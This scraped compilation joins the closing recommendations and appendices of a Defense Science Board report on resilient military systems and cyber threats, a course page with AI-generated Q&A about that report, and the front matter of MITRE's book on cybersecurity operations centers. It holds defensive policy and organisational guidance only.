Chiefs , establish a formal career path for DoD c ivilian and military personnel engaged in cyber defense  Address training and certification requirements  Define career designations  Define incentives for personnel achieving higher levels of certification  Ensure that there is a cadre of high -end practitioners  Completion: 18 Months with quarterly reviews with the D EPSECDEF The Task Force expects cyber -focused personnel to move between offensive and defensive focused posts throughout their career. The best defenders will be those who understand what can be accomplished from an offensive point of view (the reverse i s also true). Creating cyber warriors with expertise in offensive and defensive cyber skills should be encouraged. 12.6 Recommendation: Change DoD’s Culture Regarding Cyber and Cyber Security. 12.6.1 Establish a DoD- wide policy, communication , and education progr am to change the culture regarding cyber and cyber security SECDEF , CJCS and their direct reports should communicate a vision of DoD Cyber Security for 2020. The Secretary and Chairman should provide direct c ommunication to all organizational DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 12.0 Summary of Study Recommendations | 92 Resilient Military Systems and the Advanced Cyber Threat elements explaining the threat and consequences of cyber actions is essential to change DoD’s cyber culture. Leadership must change the current culture which is focused on an overwhelming emphasis on operational objectives and shaped by daily exposure in civil cyberspace that imposes little cost to risky behavior.  Commander, USCYBERCOM and the DoD CIO should establish a plan with measureable milestones and flow -down to all organization elements. The plan must comprise:  The policy, operational rules , and expectations for secure use of DoD networks and systems  The training program and follow on continual reinforcement of the policy  A small “tiger team” of experts to monitor , test, and catch breaches in policy  Clear punitive consequences for breaches of policy  Follow ing the education period and a short grace period, penalties should be imposed similar to the breach of policy for classified material.  Command readiness should assess and report cyber policy compliance. SECDEF should require the policy to be communicated within 60 days and the education and roll out to every DoD and contractor employee within 9 months. The current DoD Directive ( DoD D 773 0.65, dated April 23, 2007) must be modified to include readiness criteria for cyber capability. Specific performance measures related to the IT components critical to the successful execution of the mission must be used to assess Commanders on unit fitne ss to execute assigned missions and the readiness system must incorporate penalties for failure to meet specific standards. 12.7 Recommendation: Build a Cyber Resilient Force. 12.7.1 DEPSECDEF should direct specific actions to introduce cyber resiliency requirements throughout DoD force structure. 12.7.1.1 The DoD CIO, in coordination with USD(AT&L) should establish a resiliency standard which can be used to design, build and measure capability against. The Joint Staff will use the standard to inform the requir ements process. Realizing that the standards are likely to evolve as the cyber threat evolves, the Task Force identified certain characteristics that the Department should address as it develops the standards and requirements for cyber resiliency to app ly to key conventional force capabilities designated as components of the escalation ladder described in Chapter Five . These include: DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 12.0 Summary of Study Recommendations | 93 Resilient Military Systems and the Advanced Cyber Threat  Until a return to a TRUSTED, known state capability is developed, the forces and capability components providing a cybe r-critical, survivable mission must be controlled throughout their lifecycle and segregated from general purpose forces, including use of and connection to general force networks. Segregation must provide sufficient capability to provide a credible component of the escalation ladder, yet not be so large as to create a resource black hole.  Maintaining component awareness/control is an important feature of resiliency. Desired awareness measures include sensing and reporting of buffer overflow conditions and bit parity checks, reporting and control of update/file transfer points (e.g. USB ports), and in the future -- real time or near real time monitoring at the component level to ensure authentic components/software are installed.  Maintain network awarene ss/control. Install sensing points to measure network performance and patterns, develop and maintain trusted log audit capability, and incorporate trusted and automated patch/update capabilities.  Support the operational environment such as the conditions under which a system can be connected to specified network, conditions under which it must be disconnected or operate in a degraded mode (e.g. using an out -of-band path that supplies x% of the unfettered capability ), and recovery mechanisms. The Departm ent must write achievable and testable requirements. For example, establishing a requirement that “System X ” must be protected against a Tier III -IV threat will force the test community to engage in an infeasible activity as they are forced to certify a s ystem against undiscovered vulnerabilities. The Task Force is wary of the efficacy of establishing a resilience “ility” to work in the same trade space as other “ilities”. This approach tends to be bureaucratic and prior to adoption, must demonstrate eff ectiveness against the cyber threat. 12.7.1.2 Apply the cyber resiliency standard to the segmented force identified as part of the escalation ladder described in Chapter Five. In the absence of a cyber threat the segmented forces are likely to possess slightly less capability than their non -segmented counterparts due to the isolation from every part of the supporting infrastructure which generates so much advantage to DoD. However, in the face of an adversary employing cyber, the segmented forces will provide f ar more capability than the ir non-segmented counterparts. Subsets of the cyber resiliency requirements for cyber critical survivable missions should be incorporated into the rest of the force structure to defend against Tiers I/II, mitigate the effects o f Tier III- IV attacks, and drive up the costs for Tier V -VI attacks. 12.7.1.3 Feedback from testing, red teaming, intelligence community, and modeling and simulation should be increased as a development mechanism to build out DoD’s cyber resilient force (USD(AT&L ), USD(I), DOT&E, SAE s, CJCS) . DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 12.0 Summary of Study Recommendations | 94 Resilient Military Systems and the Advanced Cyber Threat DoD must ensure feedback from these exercises impact s system designs , upgrades, CONOPs and TTPs. Lacking a full -scale cyber conflict, DoD will struggle to understand the full implications and effects of the cyber threat. DoD must fight through compartmentalization, understand a nascent but significant capability with limited real operational experience, and avoid t ypical first adopter mistakes to maximize its resiliency while retaining the huge advantage gained through the networking. The feedback mechanism will also aid the creation of processes to inform development efforts for new and evolved c yber threat vector s. 12.7.1.4 For programs not part of the segmented force, a cyber standard set of requirements (expected to be a subset of the critical program requirements list) should be applied to all DoD programs (USD(AT&L), DoD CIO, SAE s)). The DoD CIO, in coordination with USD(AT&L) should establish a subset of the resiliency standard developed above which can be applied to the rest of the force structure. The subset should be applied at every available opportunity (e.g. new starts, refurbishment, and repair). Legacy systems unable to meet the standard should be isolated or replaced. The Department must still discipline itself in its application of the subset of resiliency standard to the rest of the non- escalation ladder components. Not every cap ability must protect against a Tier III -IV threat but all must defend against a Tier I -II threat. In addition, initial incorporation of the subset of the resiliency standard is likely to require dedicated management to identify and overcome the issues wit h implementation. The Task Force urges the Department to apply the initial subset of resiliency standards to ACAT 1 programs. Once experience is gained , the resiliency standard can be applied across the Department. Lacking a full- scale cyber conflict, DoD will struggle to understand the full implications and effects of the cyber threat. The feedback mechanism will also aid the creation of processes to inform development efforts for new and evolved cyber threat vectors. 12.7.1.5 A DoD- -wide cyber technical wo rkforce should be developed to support the build- out of the cyber critical survivable mission capability ; it should then be rolled out to DoD force structure (USD(AT&L), CIO, SAE s, DOT&E, USD(I) and USD(P&R)). The technical cyber workforce must function across the capability lifecycle. Similar to the requirements to develop and attract the correct level of cyber talent for DoD’s offensive and defensive missions, USD(P&R) must develop supporting policies to build the cyber workforce. The Acquisition Community (e.g. Development Centers, Depots and industrial partners) bears a significant responsibility in this endeavor DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 12.0 Summary of Study Recommendations | 95 Resilient Military Systems and the Advanced Cyber Threat along with the operational forces, test community, and scientific and engineering community. 12.7.1.6 The Science and Technology community should establish a secure system design project with Federally Funded Research and Development Centers (FFRDC s), University Affiliated Research Centers (UARCs ), academia, commercial and d efense industry (ASD R&E)). Areas to be pursued in the longer term should include: development of special purpose system architectures with inherent resilience, systematic analysis of potential modes of cyber vulnerability of systems, use of emerging technology developments for sys tem resilience (such as trust anchors ), minimal functionality components, simplified operating systems, developing a means to verify compromise of fielded systems contributing to critical missions , creating trust in systems built with un- trusted components , and restoring to a known state (“gold standard”) . 12.7.1.7 The Intelligence Community should initiate a supply chain collection activity (USD(I)). The DoD should assess the end -to-end process by which electronic “parts” and systems are produced by select comp anies to determine if what is known of the Cyber threat vectors, including those in Tier V -VI, is appropriately reflected in the efforts of the suppliers. The DoD must similarly assess the software supply chain to gain an understanding of the cyber threat vectors and to understand where mitigation might be possible, practical and affordable . The Intelligence Community must be tasked with specific collection, analysis and reporting requirements on the c yber threat vectors, priorities and activities of U .S. adversaries. Although DIA has initiated efforts to provide supplier threat information to the MDAP acquisition community, it is not sufficiently broad or mature to serve the needs of critical mission systems. Mechanisms must be developed to share the resulting intelligence assessments, as appropriate, among the significant players in the DoD supply chain and broader national industries . DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Appendix 1 —Terms of Reference | 96 Resilient Military Syste ms and the Advanced Cyber Threat Appendix 1 —Terms of Reference DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Appendix 1 —Terms of Reference | 97 Resilient Military Syste ms and the Advanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Appendix 1 —Terms of Reference | 98 Resilient Military Syste ms and the Advanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Appendix 2 —Task Force Membership | 99 Resilient Military Systems and the Advanced Cyber Threat Appendix 2 —Task Force Membership Co-Chairs Mr. James R. Gosler Sandia National Laboratory Mr. Lewis Von Thaer General Dynamics Executive Secretary Mrs. Kristen Baldwin OASD(R&E) Mr. Steve Gates ODT&E Members Dr. Allen Adler The Boeing Company Dr. James Babcock Northrop Grumman Mr. Dean Clubb Independent Consultant Dr. Craig Cook MITRE Dr. Donald Duncan Johns Hopkins University/APL ADM William J. Fallon, USN (Ret.) Independent Consultant Mr. Robert Gourley Crucial Point, LLC Dr. Richard Ivanetich Institute for Defense Analyses Dr. Ronald L. Kerber Independent Consultant Hon. Donald M. Kerr, PhD. Independent Consultant Dr. William LaPlante MITRE Hon. Judith A. Miller, Esq. Independent Consultant Mr. Al Munson Potomac Insti tute for Policy Studies Mr. Richard Schaeffer Independent Consultant Dr. Fred B. Schneider Cornell University ADM William Studeman, USN (Ret.) Independent Consultant Mr. Michael Swetnam Potomac Institute for Policy Studies Dr. Peter Weinberger Google, Inc. Dr. Robert Wisnieff IBM Government Advisors Mr. Rick Wilson National Security Agency Mr. Mitchell Komaroff CIO-ODA SD (I&IA) Mr. RC Porter Defense Intelligence Agency Senior Advisors Dr. Craig Fields Independent Consultant Dr. Robert Hermann Independent C onsultant Mr. Robert Stein Independent Consultant DSB Secretariat Mr. Brian Hughes Defense Science Board DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Appendix 2 —Task Force Membership | 100 Resilient Military Systems and the Advanced Cyber Threat Lt. Col. Michael Warner, USAF Defense Science Board CDR Doug Reinbold, USN Defense Science Board Support Mr. Chris Grisafe SAIC Ms. Tammy -jean Beatty SAIC DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Appendix 3 —Task Force Meeting Schedule and Briefings | 101 Resilient Military Systems and the Advanced Cyber Threat Appendix 3 —Task Force Meeting Schedule and Briefings March 16 -17 2011 Title Briefer Organization AT&T Operations Center Metrics Mr. Ed Amoroso AT&T Cross Sector Information Sharing, Analysis & Collaboration Initiative Mr. Robert Dix Juniper Networks Carnegie Mellon Cyber SOC Mr. Terry Roberts Carnegie Mellon University In-Q-Tel Cyber Measures Research Mr. Dan Geer In-Q-Tel State Department Measures Mr. John Streufert Department of State Why This is So Hard? Mr. Carl Landwehr National Science Foundation Cybersecurity in the Digital Cloud Overview Dr. Eric Evans DSB Cybersecurity in the Digital Cloud Task Force System Security Metrics Dr. Salvatore J. Stolfo Columbia University Metrics, Models, and Analysis of Network Security and Survivability Mr. Kishor Trivedi Duke University April 20 -21, 2011 Title Briefer Organization DoD Strategy for Operation in Cyberspace Mr. Robert Butler OSD Policy The Supply Chain Threat Assessment Center Mr. Cal Temple DIA Building Resilient Network Architectures Mr. Kevin Bingham DoD CIO Examples of Advanced Cyber Threat Assessments Ms. Yulin Bingle DIA Examples of Cyber Metrics in Use by DoD Mr. David Aland DOT&E Examples of DoD Red Teaming CAPT Forbes M acVane, USN LCDR John Kaltwasser, USN Mr. Scott Brown NSA Examples of Navy Red Teaming Impacts on Military Systems LT Greg Smith NIOC May 17 -18, 2011 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Appendix 3 —Task Force Meeting Schedule and Briefings | 102 Resilient Military Systems and the Advanced Cyber Threat Title Briefer Organization NCIX Ms. Margie Gilbert NIC Mr. Sean Kanuck NIC TRANSCOM Mr. Steve Stone CAPT Mike Murray USTRANSCOM NCIJTF Mr. Brad Bleier NCIJTF Cyber Analytical Framework Daniel Kaufman DARPA Dynamic Quarantine of Worms Cyber Gnome Dr. Timothy Fraser DARPA TRUST, ISIS (Follow Program) Dr. Carl McCants DARPA National Cyber Range Dr. Jinendra Ranka DARPA Cloud to the Edge Dr. Keith Gremban DARPA Vulnerability Assessment: Virtual Machine Mr. Tony Sager NSA/CSS Terremark Ms. Jamie DosSantos Terremark, Inc. Systems Security Engineering Research Roadmap Ms. Jennifer Bayuk Mr. Barry Horowitz Independent Consultant University of Virginia June 23 -24, 2011 Title Briefer Organization Terminal Fury Mr. David Aland DOT&E DIB Cyber Security Mr. Steven D. Shirley Mr. Jeffrey Stuzman DoD Cyber Crime Center NSA High Assurance Platform Mr. Neil Kittleson NSA/CSS Virtual Secure Enclave Dr. Matt Goda USPACOM NSA Gold Standard Ms. Carol Walters Mr. Mike Escazage Ms. Ann Erickson Mr. John Schuessler NSA/CSS Improving Mission Assurance by Using New Techniques in Network Analysis Dr. Don Snyder RAND Corporation Resilience Metrics Dr. Erik G. Mettala Battelle NRO Information Assurance Ms. Bonnie Paul NRO July 18 -19 2011 Title Briefer Organization Neural IQ Mr. Bill Stacia Neural IQ Measuring Cyber Vulnerabilities and Response Effectiveness Mr. Mike Papay Northrop Grumman Measuring Security Mr. Steve Lipner Microsoft Security and Resiliency Mr. Michael Berman Catbird Cyber Resilience Mr. Iven Connary Q1 Labs August 10 -11, 2011 (Joint Meeting with Cloud TF, 8/11) Title Briefer Organization DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Appendix 3 —Task Force Meeting Schedule and Briefings | 103 Resilient Military Systems and the Advanced Cyber Threat DoD CIO Briefing Ms. Teri Takai DoD CIO Cyber Law and Policy Dr. Catherine Lotrionte Georgetown University Law Center Bromium Mr. Simon Crosby Bromium Inc. Cloud Computing: Key Questions Ms. Melissa Hathaway Mr. G. Gaffney Hathaway Global Strategies DNI September 22 -23, 2011 Title Briefer Organization IDA Brief Dr. Margaret Myers Institute for Defense Analyses United States Cyber Command Mr. Mark Young USCYBERCOM October 24 -27, 2011 (Offsite Joint Meeting with Cloud TF, 10/27) Title Briefer Organization United States Cyber Command Mr. Mark Young USCYBERCOM November 17 -18, 2011 Title Briefer Organization DDR&E Resilient Systems Program Dr. Steve King DDR&E DoD CIO and the Working Group on Network Resilience Ms. Laura Boehm DoD CIO Secure Configuration Management Mr. Kevin Dulany Ms. Robby Ann Carter DIAP January 19 -20, 2012 Title Briefer Organization Law and Policy Discussion Mr. Gary Sharp DoD February 9 -10, 2012 Title Briefer Organization Cyber Deterrence Ms. Michelle Markoff State Department Conventional Thin Line Mr. Dave Dick Mr. Carl Prantl OSD DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Appendix 4 —Acronyms Used in This Report | 104 Resilient Military Systems and the Advanced Cyber Threat Appendix 4 —Acronyms Used in This Report ACAT Acquisition Category ASD(R&E) Assistant Secretary of Defense for Research and Engineering C2 Command and Control C3 Command, Control, Communications C4ISR Command, Control, Communications, Computers, Intelligence, Surveillance, and Reconnaissance CAC Common Access Card CCC Cyber Conflict College CCMD Combatant Command CCR Centers for Communication Research CEO Chief Executive Officer CIA Central Intelligence Agency CIO Chief Information Officer CISO Chief Information Security Officer CISSP Certified Information Systems Security Professional CJCS Chairman of the Joint Chiefs of Staff CNDSP Computer Network Defense Service Provider CNE Computer Network Exploitation COG Continuity of Government CONUS Continental United States COTS Commercial off the Shelf CPGS Conventional Prompt Global Strike CSIA Cyber Security/Information Assurance DARPA Defense Advanced Research Projects Agency DASD( SE) Deputy Assistant Secretary of Defense for Systems Engineering DEPSECDEF Deputy Secretary of Defense DHS Department of Homeland Security DIA Defense Intelligence Agency DIAP Defense Information Assurance Program DIB Defense Industrial Base DISA Defense Information Systems Agency DNI Director of National Intelligence DoD Department of Defense DOS Department of State DOTMLPF Doctrine, Organization, Training, Materiel, Leadership, Personnel, Facilities DSB Defense Science Board DSP Defense Service Provider EA Enterprise Architecture EMP Electromagnetic Pulse FBI Federal Bureau of Investigation FFRDC Federally Funded Research and Development Center GIAP Global Information Assurance Portfolio GIG Global Information Grid GWOT Global War on Terror DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Appendix 4 —Acronyms Used in This Report | 105 Resilient Military Systems and the Advanced Cyber Threat HBSS Host Based Security System HUMINT Human Intelligence IA Information Assurance IC Intelligence Community ICBM Intercontinental Ballistic Missile ICIECS International Conference on Information Engineering and Computer Science ICT Information and Communications Technology IED Improvised Explosive Device IOC Initial Operating Capability IP Intellectual Property IPB Intelligence Preparation of th e Battlespace ISR Intelligence, Surveillance and Reconnaissance IT Information Technology JPIOE Joint Intelligence Preparation of the Operational Environment JROC Joint Requirements Oversight Council MDAP Major Defense Acquisition Program NC2 Nuclear Command and Control NDU National Defense University NIPRNet Unclassified but Sensitive Internet Protocol (IP) Router Network NIST National Institute of Standards and Technology NPR Nuclear Posture Review NSA National Security Agency NSA-IAD National Security Agency Information Assurance Directorate ODNI Office of the Director of National Intelligence OPLANS Operational Plans OSD Office of the Secretary of Defense PKI Public Key Infrastructure POTUS President of the United States PPBS Planning, Programming and Budgeting System SAE Service Acquisition Executives SCADA Supervisory Control and Data Acquisition R&D Research and Development SCRM Supply Chain Risk Management SCADA Supervisory Control and Data Acquisition SECDEF Secretary of Defense SIGINT Signals Intelligence SIPRNet Secret Internet Protocol Router Network SIGINT Signals Intelligence SLBM Submarine -Launched Ballistic Missile SLOC Source Lines of Code SOF Special Operations Force s SoS System of Systems SSGN Cruise Missile Submarine TF Task Forc e TTP Tactics, Techniques, and Procedures UARC University Affiliated Research Center UCP Unified Command Plan USCYBERCOM United States Cyber Command DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Appendix 4 —Acronyms Used in This Report | 106 Resilient Military Systems and the Advanced Cyber Threat USD(AT&L) Under Secretary of Defense for Acquisition, Technology, and Logistics USD(I) Under Secretary for Defense Intelligence USD(P) Under Secretary of Defense for Policy USD(P&R) Under Secretary of Defense for Personnel and Readiness USSTRATCOM United States Strategic Command DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 107 Resilient Military Systems and the A dvanced Cyber Threat Appendix 5 —Sample Enterprise Specification DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 108 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 109 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 110 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 111 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 112 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 113 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 114 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 115 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 116 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 117 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 118 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 119 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 120 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 121 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 122 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 123 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 124 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 125 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 126 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 127 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 128 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 129 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 130 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 131 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 132 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 133 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 134 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 135 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 136 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Append ix 5—Sample Enterprise Specification | 137 Resilient Military Systems and the A dvanced Cyber Threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Appendix 6 —Additional Recommendations | 138 Resilient Military Systems and the Advanced Cyber Threat Appendix 6 —Counter intelligence For access to Appendix 6, contact the DSB office at 703-571- 0081 or DSBoffice@osd.mil . --- ## Source: https://montance.com/questions.php?id=22 [![pdf](content/images/icons/pdf.svg) Resilient Military Systems Cyber Threat.pdf](https://drive.google.com/file/d/1cTORwRw7T0srtgTVdLw7ElM2sP7_jp7x/view?usp=sharing) Resilient Military Systems Cyber Threat Report on cyber threats to military systems and strategies for resilience. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is a 'Tier V-VI' attacker? A: A state actor able to invest billions of dollars and years of time to create vulnerabilities in systems. * Q: What is the 'Red Queen' hypothesis? A: The concept that the defender must expend all effort just to stay in the same relative place against an evolving adversary. * Q: What is an 'Existential Cyber Attack'? A: An attack capable of causing sufficient wide-scale damage for the government to potentially lose control of the country. * Q: What is 'Resilience' defined as in this report? A: The ability to provide acceptable operations despite disruption: natural or man-made, inadvertent or deliberate. * Q: What is the 'Gold Standard' for restoration? A: Restoring a system to a known, trusted state. * Q: Why is 'Defense-only' considered a failed strategy? A: Because it is impossible to fully defend against Tier V-VI threats; deterrence and resilience are also required. * Q: What is the 'Cyber Threat Taxonomy'? A: A hierarchy dividing threats into Tiers I-VI based on skill level and resources. * Q: What is 'Cyber Critical Survivable Mission'? A: A specific force or capability segmented and hardened to ensure mission execution in a cyber-stressed environment. * Q: What is the recommendation regarding Nuclear Strike? A: Protect the nuclear strike capability to ensure it remains a credible deterrent against existential cyber attacks. * Q: What are the three parameters of Cyber Risk defined in the report? A: Threat (Intent/Capability), Vulnerabilities (Inherent/Introduced), and Consequences (Fixable/Fatal). ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1wxpun9lU9T8bq3Z0wrppPsPyfF5ZdsO-/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1wxpun9lU9T8bq3Z0wrppPsPyfF5ZdsO-/view?usp=sharing]** MITRE Carson Zimmerman Ten Strategies of a World-Class Cybersecurity Operations Center Ten Strategies of a World-Class Cybersecurity Operations CenterMITRE’s accumulated expertise on enterprise-grade computernetworkdefense MITRETen Strategies of a World-Class Cybersecurity Operations Center conveys MITRE’s accumulated expertise on enterprise-grade computer network defense. It covers ten key qualities of leading Cybersecurity Operations Centers (CSOCs), ranging from their structure and organization, to processes that best enable effective and efficient operations, to approaches that extract maximum value from CSOC technology investments. This book offers perspective and context for key decision points in structuring a CSOC and shows how to: The MITRE Corporation is a not-for-profit organization that operates federally funded research and development centers (FFRDCs). FFRDCs are unique organizations that assist the U.S. government with scientific research and analysis, development and acquisition, and systems engineering and integration. We’re proud to have served the public interest for more than 50 years. The MITRE Corporation 202 Burlington Road Bedford, MA 01730-1420 (781) 271-2000 7515 Colshire Drive McLean, VA 22102-7539 (703) 983-6000 www.mitre.org MITRE© 2014 The MITRE Corporation. All rights reserved. Approved for Public Release. Distribution unlimited. Case number 13-1028.• F ind the right size and structure for the CSOC team • A chieve effective placement within a larger organization that enables CSOC operations • A ttract, retain, and grow the right staff and skills • P repare the CSOC team, technologies, and processes for agile, threat-based response • A rchitect for large-scale data collection and analysis with a limited budget • Prioritize sensor placement and data feed choices across enteprise systems, enclaves, networks, and perimeters Bleed rule--remove from file Bleed rule--remove from fileBleed rule--remove from file Bleed rule--remove from file If you manage, work in, or are standing up a CSOC, this book is for you. It is also available on MITRE’s website, www.mitre.org. Carson Zimmerman is a Lead Cybesecurity Engineer with The MITRE Corporation. He has ten years of experience working with various CSOCs to better defend against the adversary. He has held roles in the CSOC ranging from tier 1 analyst to architect. MITRE Carson ZimmermanT en Strategies of a World-Class Cybersecurity Operations Center © 2014 by The MITRE Corporation. All rights reserved. Produced by MITRE Corporate Communications and Public AffairsInternational Standard Book Number: 978-0-692-24310-7Printed in the United States of America on acid-free paper The views, opinions, and/or findings contained in this book are those of The MITRE Corporation and should not be construed as an official government position, policy, or decision, unless designated by other documentation. This book discusses observations and ideas, and The MITRE Corporation expressly disclaims any warranty of any kind. Although products are discussed in this book, nothing in this book should be construed as an endorsement of any kind. The trademarks used herein belong to their respective holders. Approved for public release; distribution unlimited. Case Number 13-1028. The MITRE Corporation 202 Burlington Road • Bedford, MA 01730-1420 • (781) 271-2000 7515 Colshire Drive • McLean, VA 22102-7539 • (703) 983-6000 www.mitre.orgcyber @mitre.org Send feedback or questions on this book to tenstrategies@mitre.org. iiiAcknowledgments There are many individuals whose hard work has contributed to the creation of this book. First of all, I would like to recognize Eric Lippart, whose many years of work in computer network defense (CND) contributed to every aspect of this book. The ten strategies outlined in the book emerged from the years we worked together to share best practices and solutions for CND across the U.S. federal government. Some sections of this book are based, in part, on material from other MITRE work. The following sections incorporate ideas and expertise from other MITRE staff members: ‚Scott Foote, Chuck Boeckman, and Rosalie McQuaid: Cyber situ - ational awareness, Section 2.5 ‚Julie Connolly, Mark Davidson, Matt Richard, and Clem Skorupka: Cyber attack life cycle, Section 2.6 ‚Susan May: CSOC staffing, Sec t ion 7.2 ‚Mike Cojocea: Security information and event management (SIEM) and log management (LM) best practices, Section 8.3 ‚Joe Judge and Eugene Aronne: Original work on intrusion detection systems (IDS) and SIEM, Section 8.2 and Section 8.3 ‚Frank Posluszny: Initial concept and development of material on Cyber Threat Analysis Cells, Sections 11.1 –11.6 ‚Kathryn Knerler: CND resources and websites, Section 11.7 iv ‚Therese Metcalf: Material on various government CSOCs, which was used throughout this book ‚Bob Martin: Technical editing and glossary ‚Robin Cormier: Public release and project management ‚Robert Pappalardo and John Ursino: Cover design ‚Susan Robertson: Book layout and diagrams The following individuals are recognized as peer reviewers for this book: Chuck Boeckman, Mike Cojocea, Dale 